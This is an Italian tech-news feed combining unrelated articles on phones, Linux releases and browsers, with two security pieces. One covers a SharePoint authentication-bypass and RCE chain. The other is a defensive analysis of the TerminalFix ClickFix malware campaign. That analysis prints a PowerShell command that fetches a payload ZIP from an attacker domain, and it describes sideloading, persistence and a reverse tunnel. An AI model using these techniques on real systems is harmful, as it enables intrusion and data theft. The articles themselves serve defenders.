Chi continua a riscontrare difficoltà nella configurazione di un vecchio Chromecast o di altri dispositivi compatibili con Google Home dovrebbe innanzitutto verificare di avere installato la versione 4.26 o successiva dell’app e ripetere la procedura di setup. Se il problema persiste, Google consiglia di contattare l’assistenza. Molti utenti sono ormai passati a dispositivi più recenti, ma chi utilizza ancora i vecchi Chromecast può tornare a farlo senza il rischio di un blocco improvviso dovuto a questo specifico bug.

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SharePoint sotto attacco: la catena RCE non autenticata CVE-2026-55040 + CVE-2026-63520


Due CVE concatenate permettono l'esecuzione di codice remoto non autenticata su SharePoint Server on-premises: come funziona l'attacco, quali build sono a rischio e come proteggere i propri farm.
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Una catena di due CVE trasforma SharePoint in un bersaglio non autenticato


Ad agosto 2026 Rapid7 e VulnCheck hanno pubblicato, in tempi ravvicinati, l’analisi tecnica di una catena di exploit che colpisce Microsoft SharePoint Server on-premises con impatto massimo: esecuzione di codice remoto senza alcuna autenticazione. La catena combina due vulnerabilità distinte, CVE-2026-55040 (bypass di autenticazione JWT, CVSS 9.1) e CVE-2026-63520 (istanziazione insicura di tipi .NET nel motore Business Data Connectivity), e secondo Shadowserver oltre 8.700 server SharePoint risultano ancora esposti direttamente su Internet. Per chi gestisce infrastrutture SharePoint on-prem non si tratta di un bollettino da archiviare: è una delle catene di attacco più pericolose viste sulla piattaforma dai tempi di ToolShell.

CVE-2026-55040: quando il token JWT non prova più nulla


Il primo anello della catena riguarda la pipeline di validazione dei token JWT usati internamente da SharePoint per l’autenticazione tra servizi. A causa di controlli insufficienti su questi token, un attaccante che conosca in anticipo l’identità di un utente target (tramite il suo SID di Active Directory o il suo UPN, entrambi spesso enumerabili o prevedibili in ambienti aziendali) può forgiare un token valido e impersonarlo senza fornire alcuna credenziale. Il risultato è un bypass completo dell’autenticazione: l’attaccante entra nel sistema con l’identità di un utente legittimo, potenzialmente un amministratore.

Da sola, questa vulnerabilità (classificata CWE-1390, “Weak Authentication”) sarebbe già critica. Ma è il punto di ingresso che rende possibile il secondo, ben più devastante, stadio della catena.

CVE-2026-63520: RCE tramite Business Data Connectivity


Il secondo CVE affligge il sottosistema Business Data Connectivity (BDC) di SharePoint, che permette di collegare fonti dati esterne tramite modelli descritti in file XML con estensione .bdcm. La causa radice è un’istanziazione di tipi .NET non sufficientemente validata nella classe DbTypeReflector: il metodo ResolveDotNetType() chiama direttamente Type.GetType() su un valore TypeName controllato dall’attaccante, senza un controllo efficace. Il filtro di sicurezza esistente si limitava a bloccare nomi di tipo corti, ma nomi di tipo superiori ai 15 caratteri bypassavano il controllo, aprendo la porta a qualunque tipo .NET disponibile nella Global Assembly Cache (GAC).

In pratica, un attaccante autenticato (o, dopo il bypass JWT, di fatto chiunque) può caricare un file BDCM appositamente costruito che definisce un LobSystem, un’Entity e un MethodInstance di tipo Finder. Quando SharePoint valuta una External List collegata a quel modello, il Finder viene eseguito automaticamente. I ricercatori hanno dimostrato più catene di gadget funzionanti, tra cui una basata su System.Windows.Data.ObjectDataProvider combinato con System.Diagnostics.Process per l’esecuzione diretta di comandi, e una variante che sfrutta System.Web.UI.LosFormatter.Deserialize() con un gadget TypeConfuseDelegate codificato in Base64 per innescare la deserializzazione insicura. Un semplice payload di prova può lanciare calc.exe sul server con i privilegi dell’account di servizio di SharePoint; in produzione, lo stesso meccanismo consente l’esecuzione di codice arbitrario, inclusi payload di post-exploitation completi.

La catena completa: da zero credenziali a RCE


Concatenando le due vulnerabilità, un attaccante che conosce solo lo UPN o il SID di un account SharePoint può:

  1. Forgiare un token JWT valido sfruttando CVE-2026-55040, ottenendo un contesto di autenticazione senza credenziali reali;
  2. Usare quel contesto per caricare un modello BDC malevolo e sfruttare CVE-2026-63520;
  3. Ottenere esecuzione di codice remoto con i privilegi dell’account applicativo di SharePoint, tipicamente con accesso ampio al farm e, a cascata, ad Active Directory.

È esattamente questo l’aspetto che ha spinto VulnCheck a pubblicare i dettagli tecnici in anticipo rispetto all’embargo standard di 30 giorni: un PoC pubblico era già in circolazione e la finestra di rischio per i server non patchati si stava riducendo rapidamente. Bleeping Computer e SecurityAffairs hanno successivamente confermato tentativi di sfruttamento attivo in the wild, mentre la società di threat intelligence Defused ha osservato attività di ricognizione sistematica contro honeypot SharePoint esposti.

Versioni affette e patch disponibili


Microsoft ha rilasciato aggiornamenti dedicati per tutte le edizioni supportate on-premises:

  • SharePoint Server Subscription Edition: KB5002882, build 16.0.19725.20434
  • SharePoint Server 2019: KB5002883, build 16.0.10417.20175
  • SharePoint Enterprise Server 2016: KB5002891, build 16.0.5561.1001

SharePoint Online (Microsoft 365) non è interessato: il rischio riguarda esclusivamente le installazioni on-premises. Se gestite un farm SharePoint self-hosted, la priorità è applicare queste patch ora, non nella prossima finestra di manutenzione pianificata.

Cosa fare subito, in pratica


Oltre al patching, che resta la contromisura primaria e non negoziabile, alcune azioni concrete per ridurre l’esposizione e rilevare eventuali compromissioni:

  • Inventariare i server esposti: verificate quali istanze SharePoint sono raggiungibili direttamente da Internet e valutate se sia davvero necessario, oppure se possano essere posizionate dietro un reverse proxy con autenticazione aggiuntiva o una VPN.
  • Controllare la build corrente: dalla Central Administration o via PowerShell (Get-SPFarm | Select BuildVersion) verificate che i server siano allineati alle build patchate elencate sopra.
  • Monitorare i log IIS e ULS per pattern di autenticazione anomali (token JWT sospetti, accessi con identità che normalmente non generano traffico da quell’origine) e per upload o modifiche di modelli BDC non pianificati.
  • Verificare le configurazioni Business Connectivity Services: se il farm non usa BDC/BCS in modo attivo, valutate se disabilitare il servizio riduce la superficie d’attacco senza impatti operativi.
  • Applicare il principio del minimo privilegio agli account di servizio di SharePoint, così da limitare il “raggio d’azione” di un’eventuale esecuzione di codice riuscita.

La combinazione di autenticazione bypassabile e deserializzazione insicura è un pattern che SharePoint ha già visto in passato (basti pensare a ToolShell nel 2025), e che continua a ripresentarsi perché il BDC/BCS resta un componente ricco di superficie d’attacco poco monitorato rispetto ad altre parti della piattaforma. Vale la pena, in generale, trattare ogni funzionalità di connettività dati esterna come un potenziale vettore di deserializzazione e sottoporla a hardening a prescindere dal CVE del momento.

Fonte originale: Petri IT Knowledgebase – SharePoint Exploit Code Puts Thousands of Internet-Facing Servers At Risk. Analisi tecnica aggiuntiva: Rapid7 su CVE-2026-55040, Rapid7 su CVE-2026-63520 e VulnCheck.

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Galaxy S27 e S27+ passano la certificazione in anticipo: la presentazione potrebbe arrivare già a gennaio 2027


La serie Galaxy S27 di Samsung inizia a muovere i primi passi ufficiali verso la presentazione. I modelli standard Galaxy S27 e Galaxy S27+ sono comparsi nel database di certificazione cinese 3C, che ha rivelato alcuni dettagli sulla ricarica, mentre la tempistica della certificazione fa pensare a un possibile annuncio già a gennaio 2027, in anticipo rispetto alla scorsa generazione. Ricarica da 27W per il Galaxy S27, 45W per il Galaxy S27+ La certificazione 3C riguarda i modelli con […]
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La serie Galaxy S27 di Samsung inizia a muovere i primi passi ufficiali verso la presentazione. I modelli standard Galaxy S27 e Galaxy S27+ sono comparsi nel database di certificazione cinese 3C, che ha rivelato alcuni dettagli sulla ricarica, mentre la tempistica della certificazione fa pensare a un possibile annuncio già a gennaio 2027, in anticipo rispetto alla scorsa generazione.

Ricarica da 27W per il Galaxy S27, 45W per il Galaxy S27+


La certificazione 3C riguarda i modelli con codice SM-S9520 (Galaxy S27) e SM-S9560 (Galaxy S27+). Secondo i documenti, il Galaxy S27 supporterebbe una ricarica cablata fino a 27W, mentre il Galaxy S27+ arriverebbe a 45W; in entrambi i casi il caricabatterie non sarebbe incluso nella confezione.

Per il modello standard si tratterebbe della continuazione di una politica adottata da Samsung fin dal Galaxy S20 del 2020, sempre fermo attorno ai 25W. Il Galaxy S27+ manterrebbe invece i 45W introdotti a partire dal Galaxy S22+, arrivando così alla quinta generazione consecutiva con la stessa velocità di ricarica.

La tempistica suggerisce un annuncio a gennaio


Il dato più interessante riguarda proprio il momento in cui è arrivata la certificazione. La serie Galaxy S26 aveva ottenuto la certificazione 3C a gennaio 2026, per poi essere presentata ufficialmente a marzo; la serie Galaxy S25, invece, aveva ottenuto la certificazione a settembre 2024 in vista della presentazione di gennaio 2025.

Il fatto che Galaxy S27 e S27+ abbiano ottenuto la certificazione già a settembre 2026, un anticipo rispetto ai tempi della serie S26, lascia pensare a una presentazione spostata in avanti. Samsung non ha ancora comunicato una data ufficiale, ma sulla base dei precedenti un annuncio a gennaio 2027 appare un’ipotesi piuttosto concreta.

In arrivo anche S27 Pro e S27 Ultra


Secondo alcune indiscrezioni, la gamma Galaxy S27 si arricchirebbe di un nuovo modello, il Galaxy S27 Pro, posizionato tra il Galaxy S27+ e il Galaxy S27 Ultra, ampliando così la segmentazione della serie rispetto alle generazioni precedenti. Ora che S27 e S27+ hanno ottenuto la certificazione, è probabile che anche S27 Pro e S27 Ultra seguano a breve lo stesso percorso, un ulteriore segnale che i preparativi per il lancio sono ormai in una fase avanzata.

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Galaxy S27 Ultra con Exynos 2700? Samsung starebbe preparando una variante per alcuni mercati


Il Galaxy S27 Ultra, prossimo top di gamma assoluto di Samsung, potrebbe non affidarsi esclusivamente a Qualcomm per il proprio processore. Fino a poco tempo fa si dava per scontato l'utilizzo dello Snapdragon 8 Elite Gen 6 su tutti i mercati, ma nuove indiscrezioni parlano dello sviluppo, in parallelo, di una variante equipaggiata con l'Exynos 2700, il SoC proprietario di Samsung. Una doppia anima, Snapdragon ed Exynos Secondo quanto riportato dalla testata coreana MoneyToday, citando […]
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Il Galaxy S27 Ultra, prossimo top di gamma assoluto di Samsung, potrebbe non affidarsi esclusivamente a Qualcomm per il proprio processore. Fino a poco tempo fa si dava per scontato l’utilizzo dello Snapdragon 8 Elite Gen 6 su tutti i mercati, ma nuove indiscrezioni parlano dello sviluppo, in parallelo, di una variante equipaggiata con l’Exynos 2700, il SoC proprietario di Samsung.

Una doppia anima, Snapdragon ed Exynos


Secondo quanto riportato dalla testata coreana MoneyToday, citando fonti vicine all’azienda, le divisioni Samsung Mobile Experience (MX) e Samsung LSI starebbero sviluppando una scheda madre dedicata per una versione del Galaxy S27 Ultra basata su Exynos 2700. In origine il piano prevedeva l’adozione dello Snapdragon 8 Elite Gen 6 su tutti i mercati, ma i buoni risultati ottenuti nei test interni dell’Exynos 2700 avrebbero convinto Samsung a valutarne l’impiego anche sul modello di punta del 2027.

Le stesse fonti definiscono “insolito” avviare lo sviluppo di una variante Exynos quando il progetto basato su Snapdragon è già a uno stadio avanzato, un fatto che testimonierebbe la fiducia di Samsung nelle prestazioni del proprio chip.

Snapdragon negli USA, Exynos in Europa e Corea?


Sul fronte della distribuzione geografica, lo schema potrebbe ricalcare quello già visto sugli altri modelli della serie S27: Snapdragon per il mercato statunitense, Exynos per Corea ed Europa. Non accadeva da tempo che il modello Ultra della serie S adottasse questa suddivisione: l’ultimo precedente risale al Galaxy S22 Ultra del 2022.

Exynos 2700 su processo a 2nm


L’Exynos 2700 dovrebbe essere prodotto con il processo SF2P a 2nm sviluppato da Samsung, che promette fino al 26% in meno di consumi e un aumento delle frequenze del 15% rispetto alla generazione precedente. Alcuni benchmark interni avrebbero mostrato risultati favorevoli anche nel confronto diretto con lo Snapdragon 8 Elite Gen 6, un fattore che avrebbe pesato nella decisione di estendere l’uso dell’Exynos fino al modello Ultra.

Oltre al chip, per il Galaxy S27 Ultra si parla anche di un nuovo modulo fotografico, con dimensioni simili a quelle dell’attuale Galaxy S26 Ultra ma una batteria leggermente più capiente; tra le voci più interessanti, la possibile eliminazione del teleobiettivo da 10 MP con zoom 3x a favore di un teleobiettivo da 50 MP con zoom 5x potenziato. Se la variante Exynos dovesse concretizzarsi, si tratterebbe di un ritorno significativo dei chip proprietari Samsung al centro della gamma Ultra.

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Galaxy S27, le cover leaked mettono a confronto tutti e 4 i modelli: ecco le differenze di design e dimensioni


Sono trapelate online alcune immagini che mostrano fianco a fianco le cover di quelli che sarebbero i quattro modelli della serie Galaxy S27: Galaxy S27, S27+, S27 Pro e S27 Ultra. Il confronto diretto permette non solo di intuire le differenze di design tra i modelli, ma anche di farsi un'idea piuttosto precisa delle dimensioni relative dei quattro dispositivi. Quattro taglie, non più solo piccolo-medio-grande Il modello standard Galaxy S27 risulta il più compatto del gruppo, seguito in […]
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Sono trapelate online alcune immagini che mostrano fianco a fianco le cover di quelli che sarebbero i quattro modelli della serie Galaxy S27: Galaxy S27, S27+, S27 Pro e S27 Ultra. Il confronto diretto permette non solo di intuire le differenze di design tra i modelli, ma anche di farsi un’idea piuttosto precisa delle dimensioni relative dei quattro dispositivi.

Quattro taglie, non più solo piccolo-medio-grande


Il modello standard Galaxy S27 risulta il più compatto del gruppo, seguito in ordine crescente da S27+, S27 Pro e infine S27 Ultra. Il Galaxy S27 Pro, in particolare, non sembra limitarsi a occupare una posizione intermedia tra S27+ e Ultra: secondo le indiscrezioni avrebbe dimensioni di circa 154,06 x 73,77 x 7,95 mm con un display da 6,6 pollici, mentre l’Ultra arriverebbe a 163,76 x 78,25 x 7,97 mm con un pannello da 6,9 pollici.

In altre parole, l’S27 Pro sembra pensato per offrire l’estetica e le sensazioni di un modello di punta in un formato più maneggevole rispetto all’Ultra.

Comparto fotocamere diviso in due gruppi


Le immagini delle cover confermano anche una netta divisione a livello di design del comparto fotografico. Galaxy S27 e S27+ manterrebbero l’impostazione verticale vista nelle generazioni precedenti, con tre fotocamere allineate e il flash accanto.

S27 Pro e S27 Ultra, invece, adotterebbero un modulo fotocamere orizzontale che occupa gran parte della larghezza del retro, con le fotocamere suddivise in due aree distinte: una soluzione che, generazione dopo generazione, aveva sempre mantenuto un design sostanzialmente comune tra i vari modelli della serie S, mentre ora la differenziazione sembra farsi molto più marcata.

Un “piccolo Ultra” per ampliare la gamma


Il Galaxy S27 Pro emerge come uno degli elementi più interessanti di questa fuga di notizie: il design ricorda molto da vicino quello dell’Ultra, quasi un “Ultra in formato ridotto”, anche se secondo alcune voci non includerebbe lo slot per la S Pen, proprio per mantenere un corpo più compatto.

Il confronto tra le cover rende questa differenza ancora più chiara: se il Galaxy S27 Ultra resta il modello più grande e appariscente, l’S27 Pro si posiziona una taglia sotto, con un design comunque distinto rispetto al Galaxy S27+. La serie Galaxy S27 sembra quindi destinata a non essere più una semplice scelta tra tre taglie, ma una gamma in cui dimensioni, prestazioni e design si combinano in quattro proposte ben distinte tra loro.

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TerminalFix: come funziona l’attacco ClickFix con falsi CAPTCHA Cloudflare (e come difendersi)


Una nuova campagna sfrutta falsi CAPTCHA Cloudflare per far incollare comandi PowerShell alle vittime, aprendo la strada a DLL sideloading, steganografia e un tunnel di rete inverso persistente.
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Da fine agosto 2026 Microsoft Threat Intelligence sta monitorando una campagna che porta il nome interno di TerminalFix: una variante evoluta della tecnica ClickFix, in cui l’utente viene convinto a “risolvere” da solo una verifica anti-bot incollando ed eseguendo un comando nel terminale di Windows. A differenza delle precedenti ondate ClickFix, che si limitavano a piazzare un infostealer, questa campagna costruisce una catena multi-stadio con DLL sideloading, steganografia e un tunnel di rete inverso completo. Per chi gestisce endpoint aziendali è un caso di studio da conoscere a fondo, perché la superficie di attacco non è una vulnerabilità software, ma il comportamento umano davanti a un prompt che sembra legittimo.

Cos’è la tecnica ClickFix e perché funziona ancora


ClickFix sfrutta un principio semplice: gli utenti sono ormai abituati a superare verifica CAPTCHA, quindi un overlay che imita Cloudflare Turnstile o un servizio simile non desta sospetti. La particolarità è che l’overlay non chiede di cliccare una casella, ma guida la vittima a premere Win+R, incollare un comando (già copiato negli appunti dal sito malevolo tramite JavaScript) e premere Invio. In questo modo l’attaccante bypassa i controlli sui download dai browser: non c’è un eseguibile da salvare e aprire, solo testo incollato in una finestra di dialogo che l’utente stesso avvia.

La catena di attacco di TerminalFix, passo dopo passo


Secondo l’analisi pubblicata da Microsoft Security, la campagna si sviluppa in otto fasi distinte, orchestrate per restare sotto la soglia di rilevamento della maggior parte degli endpoint protection tradizionali.

1. Il sito compromesso e il falso Cloudflare


La vittima visita un sito legittimo ma compromesso (uno degli indicatori è linked-log[.]com) che mostra un overlay identico a una verifica Cloudflare Turnstile. Lo script della pagina cancella il terminale e stampa un messaggio del tipo “Starting Cloudflare verification…”, mentre il comando PowerShell malevolo finisce già negli appunti dell’utente.

2. Download ed estrazione


Il comando incollato scarica un archivio ZIP e lo estrae in una sottocartella casuale di C:\ProgramData, ad esempio:

Invoke-WebRequest -Uri hxxps://gitnow[.]dev/payload.zip -OutFile $env:TEMP\p.zip
Expand-Archive $env:TEMP\p.zip -DestinationPath C:\ProgramData\f47f2a8c21c9df4e

Un file batch nella stessa cartella viene lanciato in modo silenzioso, avviando la fase successiva.

3. DLL sideloading su un binario firmato Microsoft


Qui la campagna mostra la sua sofisticazione: il file batch esegue LockScreenContentServer.exe, un eseguibile Windows legittimo e firmato digitalmente, che al lancio cerca automaticamente dui70.dll nella propria directory prima di controllare System32. L’attaccante sfrutta esattamente questo ordine di ricerca (T1574.001 nel framework MITRE ATT&CK) piazzando una DLL malevola con lo stesso nome accanto al binario firmato. Il codice malevolo parte quindi “dentro” un processo attendibile agli occhi di qualsiasi soluzione basata su reputazione del file firmatario.

4. Steganografia: payload nascosti in immagini PNG


La DLL scarica una o più immagini PNG da server come bestsocialmedianewspapper[.]com ed estrae dati binari nascosti nei canali RGBA dei pixel, con i primi 8 byte che codificano la lunghezza del payload come intero a 64 bit. Suddividere il payload su più immagini rende ancora più difficile il rilevamento a livello di rete, dato che il traffico appare come un semplice download di immagini verso un CDN qualunque.

5. Persistenza doppia


Il malware si assicura la sopravvivenza al riavvio tramite due meccanismi paralleli: una chiave in HKCU\...\Run e un’attività pianificata che rilancia l’eseguibile ogni 60 minuti. La ridondanza serve a resistere anche a una bonifica parziale.

6. Ricognizione dell’ambiente Active Directory


Una volta stabilito, lo script effettua enumerazione del dominio (trust, domain admin), ping sweep dei server interni e raccolta di informazioni di sistema, il tutto orientato a mappare controller di dominio, database, server di backup, gateway e sistemi di posta come obiettivi di movimento laterale.

7-8. Loop di comando e tunnel inverso


Un ciclo di file-watch controlla periodicamente un file di testo per nuovi comandi, li esegue con Invoke-Expression e ne salva l’output. Il collegamento con l’infrastruttura dell’attaccante avviene tramite una copia ufficiale di Python 3.14.5, lanciata con pythonw.exe per restare invisibile, che esegue uno script client custom (client.py). Questo implant stabilisce una connessione TLS con upgrade a WebSocket verso gitnow[.]dev:443 e implementa un proxy TCP in stile SOCKS5: l’attaccante può quindi istruire l’implant a connettersi a qualsiasi host interno raggiungibile dalla macchina compromessa, di fatto trasformandola in un pivot verso la rete aziendale. Lo script ruota anche gli User-Agent tra Chrome, Firefox e Safari per confondersi con il traffico normale.

Indicatori di compromissione principali


  • Domini C2/hosting: gitnow[.]dev (tunnel, porta 443), bestsocialmedianewspapper[.]com (hosting steganografico), offlineupdater[.]com (failover), linked-log[.]com (sito compromesso)
  • Processo abusato: LockScreenContentServer.exe in esecuzione da percorsi non standard (es. C:\ProgramData\...)
  • DLL malevola: dui70.dll caricata tramite sideloading (nove varianti hash osservate)
  • Rilevamenti Microsoft Defender: Trojan:Win32/ClickFix.*, Trojan:Win32/TermFix.*, Trojan:Win64/DLLHijack.DAB!MTB, Trojan:Python/Indigo.SA


Come proteggere l’infrastruttura: checklist operativa


Microsoft e diversi ricercatori indipendenti convergono su un set comune di contromisure, applicabili sia con Microsoft Defender che con altri stack EDR:

  • Restringere l’esecuzione di PowerShell con AppLocker o Windows Defender Application Control, limitando gli script non firmati e abilitando il Constrained Language Mode per gli utenti standard.
  • Controllare o disabilitare la finestra Esegui (Win+R) tramite policy per gli utenti che non ne hanno necessità operativa, riducendo drasticamente la superficie di attacco di ClickFix.
  • Monitorare l’esecuzione di binari LOLBin firmati (come LockScreenContentServer.exe) da percorsi anomali quali ProgramData o Temp, non dalla loro directory di sistema abituale.
  • Abilitare lo script block logging di PowerShell (Event ID 4104) per avere visibilità sui comandi effettivamente eseguiti, non solo sul processo lanciato.
  • Attivare le regole ASR (Attack Surface Reduction) che bloccano script offuscati, eseguibili poco diffusi/nuovi e il lancio di contenuti scaricati da JavaScript/VBScript.
  • Configurare Windows Terminal per avvisare su incollaggi multi-riga, così da rompere l’automatismo copia-incolla-invio su cui si basa l’intera catena.
  • Formare gli utenti spiegando esplicitamente che nessuna verifica CAPTCHA legittima richiede mai di aprire un terminale o una finestra di esecuzione comandi.
  • Se vengono rilevati indicatori della campagna, trattare l’host come compromesso a livello di rete: ruotare le credenziali usate su quella macchina (comprese quelle di dominio se sono state inserite) e verificare eventuali connessioni SOCKS anomale verso l’esterno.


Conclusione


TerminalFix conferma una tendenza che i sistemisti dovrebbero già avere sul radar: le tecniche di social engineering come ClickFix non sono più un problema “consumer” legato a infostealer opportunistici, ma vengono usate come testa di ponte per intrusioni enterprise complete, con ricognizione Active Directory e accesso di rete persistente. Il punto debole non è tecnico ma comportamentale, ed è proprio per questo che i controlli più efficaci — blocco di PowerShell non firmato, restrizioni su Win+R, logging degli script — vanno applicati indipendentemente dal fatto che l’endpoint protection riconosca o meno la specifica variante del giorno.

Fonte: Microsoft Security Blog – “TerminalFix campaign deploys reverse tunnel through multistage intrusion”

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Xiaomi 18 Fold, arrivano le immagini ufficiali: design con bordi sottilissimi e la nuova colorazione Xiye Red


Xiaomi ha diffuso le prime immagini ufficiali del suo prossimo smartphone pieghevole, lo Xiaomi 18 Fold. Il nuovo modello punta su una cornice simmetrica ridotta all'osso su tutti e quattro i lati, abbinata ad angoli del display arrotondati in modo più marcato rispetto al passato: un design pensato per distinguersi dai pieghevoli visti finora. Comparto fotografico dal design "a pista" Sul retro colpisce il modulo fotocamere dalla forma ovale allungata, quasi a "pista", abbinato a una […]
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Xiaomi ha diffuso le prime immagini ufficiali del suo prossimo smartphone pieghevole, lo Xiaomi 18 Fold. Il nuovo modello punta su una cornice simmetrica ridotta all’osso su tutti e quattro i lati, abbinata ad angoli del display arrotondati in modo più marcato rispetto al passato: un design pensato per distinguersi dai pieghevoli visti finora.

Comparto fotografico dal design “a pista”


Sul retro colpisce il modulo fotocamere dalla forma ovale allungata, quasi a “pista”, abbinato a una cornice laterale piatta. Secondo Xiaomi, questa combinazione permette di ottenere un aspetto pulito ed essenziale, ma comunque deciso, avvicinando lo Xiaomi 18 Fold all’estetica dei flagship tradizionali nonostante il meccanismo pieghevole.

Xiye Red, la nuova colorazione ispirata all’autunno


Tra le immagini ufficiali spicca anche una nuova colorazione, chiamata “Xiye Red”. Si tratta di un rosso profondo e sobrio, ispirato ai paesaggi autunnali di montagna, pensato per trasmettere eleganza più che vivacità cromatica. In un segmento, quello dei pieghevoli, dominato da nero e bianco, una tonalità di questo tipo rappresenta una scelta capace di differenziare il prodotto a colpo d’occhio.

Il nuovo modello di punta della gamma pieghevole


Lu Weibing, presidente e partner del gruppo Xiaomi, ha descritto lo Xiaomi 18 Fold non come un semplice complemento alla gamma Digital già esistente, ma come il nuovo modello di punta e più avanzato della serie, capace di offrire un’esperienza complessiva pari o superiore a quella dei flagship tradizionali non pieghevoli.

Secondo Lu, l’obiettivo dichiarato non è soltanto proporre un nuovo formato pieghevole, ma puntare a diventare un punto di riferimento per la prossima generazione di smartphone pieghevoli. Al momento non sono stati resi noti dettagli su processore, fotocamere, display, data di lancio, prezzo o mercati di vendita: la pubblicazione delle immagini ufficiali rappresenta comunque il primo passo verso un annuncio più completo, atteso nelle prossime settimane.

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Capire l’AI – Parte 3: creare un agente AI “senziente” è davvero così difficile? Spoiler: no.


Terza (e ultima per ora) puntata che cerca di combattere il sensazionalismo intorno all'#AI con prove pratiche e dimostrazioni che quello a cui stiamo assistendo è l'avanzare di una tecnologia molto potente, non senziente.
In questa puntata, con tre script Python, dimostriamo come dare le chiavi di casa, il portafoglio e l'account di root ad un LLM.

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Firefox 155: Tutte le Novità, Smart Window e Privacy | Note di Rilascio


Mozilla rilascia Firefox 155: scopri tutte le novità di questa versione, tra cui l'espansione di Smart Window, il nuovo contatore dei tracker bloccati nella barra degli indirizzi, il supporto ai controller Nintendo Switch Pro e importanti bug fix per Linux e macOS.
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Debian 13 al CERN: perché oltre 2.200 sistemi di controllo usano la distro Linux


Il CERN sta completando la migrazione di oltre 2.200 PC industriali e sistemi embedded del suo acceleratore di particelle a Debian 13 "Trixie". Abbandonato l'ecosistema Red Hat a causa dei cambi di rotta di CentOS e dei costi stimati in 5,4 milioni di CHF per l'adeguamento hardware, il CERN ha scelto la stabilità e la flessibilità di Debian. L'operazione garantirà la continuità operativa di 17...

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Il CERN sceglie Debian 13 per oltre 2.200 computer


CERN trasferirà oltre 2.200 computer industriali e embedded a Debian 13 Trixie entro la fine del 2026 per la gestione degli acceleratori.L'articolo "Il CERN sceglie Debian 13 per oltre 2.200 computer" proviene da Linux Easy.
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Arch Linux 2026.09.01: la prima immagine ISO con kernel Linux 7.2.2 è disponibile per il download


Arch Linux è una distribuzione GNU/Linux indipendente, progettata con l’obiettivo di offrire un sistema leggero, flessibile e altamente personalizzabile, adatto sia a utenti esperti che a chi desidera costruire il proprio ambiente desktop o...

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For Honor abbandona Linux e Steam Deck: Ubisoft cambia strategia sull’anti-cheat


Ubisoft interrompe il supporto di For Honor su Linux e Steam Deck dal 10 settembre 2026, citando nuove esigenze legate all'anti-cheatL'articolo "For Honor abbandona Linux e Steam Deck: Ubisoft cambia strategia sull’anti-cheat" proviene da Linux Easy.
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Linux From Scratch 13.1: aggiornati 46 pacchetti software e rinnovata la toolchain


Linux From Scratch, spesso abbreviata in LFS, è una distribuzione GNU/Linux atipica: non fornisce un sistema preconfezionato pronto da installare, bensì un libro, o manuale, dettagliato che guida passo dopo passo l’utente nella costruzione...

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Mozilla Thunderbird 155: sicurezza avanzata, autenticazione moderna e numerose correzioni


Mozilla Thunderbird 155 rappresenta il nuovo rilascio stabile del celebre client di posta elettronica Thunderbird in contemporanea con il browser Mozilla Firefox 155. La nuova versione amplia le possibilità di autenticazione sicura per i...

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zoxide rende più semplice navigare tra le directory su Linux


zoxide è un’alternativa intelligente a cd per Linux: memorizza le directory più usate e permette di raggiungerle rapidamente dal terminale.
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Mozilla Firefox 155: il browser libero si aggiorna con molte novità e miglioramenti


Mozilla Firefox 155 è una nuova versione del browser con molte novità, numerose correzioni di stabilità (tra cui il blocco della sospensione sui sistemi GNU/Linux) e 29 aggiornamenti di sicurezza, oltre a importanti novità...

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Ballottaggio anti-Vannacci: la destra ha paura dei suoi elettori


A pochi giorni dal voto in commissione, il centrodestra riscopre il ballottaggio: l'emendamento del senatore di Fratelli d'Italia Marcello Pera propone un secondo turno tra le prime due coalizioni se nessuna supera il 48%, purché entrambe abbiano già superato il 38%, mentre Forza…


ilglobale.it/storia/ballottagg…

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Thunderbird 155 migliora OAuth, sicurezza e gestione della posta su Linux


Thunderbird 155 introduce OAuth personalizzato per IMAP e SMTP, nuove opzioni di sicurezza, miglioramenti alla posta e numerose correzioniL'articolo "Thunderbird 155 migliora OAuth, sicurezza e gestione della posta su Linux" proviene da Linux Easy.
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Rilevamento truffe su Galaxy: Samsung pronta a estenderlo anche ai modelli più vecchi


Samsung potrebbe presto estendere la funzione di rilevamento truffe basata su intelligenza artificiale a un numero molto più ampio di smartphone Galaxy. Dal codice della beta di One UI 9 sono emersi riferimenti che collegano la funzione non solo ai futuri Galaxy S27, ma anche a modelli già in commercio come i Galaxy S25 e i pieghevoli della serie Z. Cos'è lo Scam Detection e dove è già disponibile La funzione Scam Detection utilizza l'intelligenza artificiale per analizzare chiamate e […]
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Samsung potrebbe presto estendere la funzione di rilevamento truffe basata su intelligenza artificiale a un numero molto più ampio di smartphone Galaxy. Dal codice della beta di One UI 9 sono emersi riferimenti che collegano la funzione non solo ai futuri Galaxy S27, ma anche a modelli già in commercio come i Galaxy S25 e i pieghevoli della serie Z.

Cos’è lo Scam Detection e dove è già disponibile


La funzione Scam Detection utilizza l’intelligenza artificiale per analizzare chiamate e messaggi sospetti e avvisare l’utente prima che possa cadere vittima di una truffa. Introdotta per la prima volta sui Google Pixel (dai Pixel 9 fino ai Pixel 11), è arrivata quest’anno anche sui Galaxy S26. Non si limita a bloccare numeri sconosciuti, ma valuta il contenuto stesso della comunicazione per stabilire se si tratta di un tentativo di raggiro.

Nel codice della settima beta di One UI 9 sono stati individuati riferimenti allo Scam Detection legati ai futuri Galaxy S27, confermando che la nuova generazione di flagship Samsung erediterà la funzione già vista sui Pixel e sui Galaxy S26.

Anche Galaxy S25 e i pieghevoli tra i modelli coinvolti


La notizia più interessante riguarda però i modelli più datati. Gli stessi file di One UI 9 beta 7 conterrebbero riferimenti anche ai Galaxy S25, oltre che a Galaxy Z Fold 7, Galaxy Z Flip 7 e al pieghevole a tre ante Galaxy Z TriFold. I Galaxy Z Fold 8 e Z Flip 8, che già dispongono di One UI 9, potrebbero riceverla per primi tra i modelli precedenti.

Al momento né Samsung né Google hanno confermato ufficialmente questi piani, quindi si tratta di informazioni non definitive che potrebbero cambiare prima del rilascio della versione stabile di One UI 9.

Una protezione utile contro le truffe via SMS e chiamate


Le truffe telefoniche non colpiscono più solo tramite chiamate dirette, ma si diffondono sempre più spesso via SMS e app di messaggistica, spesso imitando aziende o servizi legittimi in modo sempre più credibile. Se la funzione arriverà davvero anche ai modelli più vecchi, gli utenti Galaxy non dovranno acquistare l’ultimo modello per beneficiare di una protezione aggiuntiva basata sull’IA. Resta da vedere se e quando Samsung confermerà ufficialmente questa estensione con il rilascio della versione definitiva di One UI 9.

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Google Pics: arriva il nuovo servizio AI per creare e modificare immagini in Docs e Slides


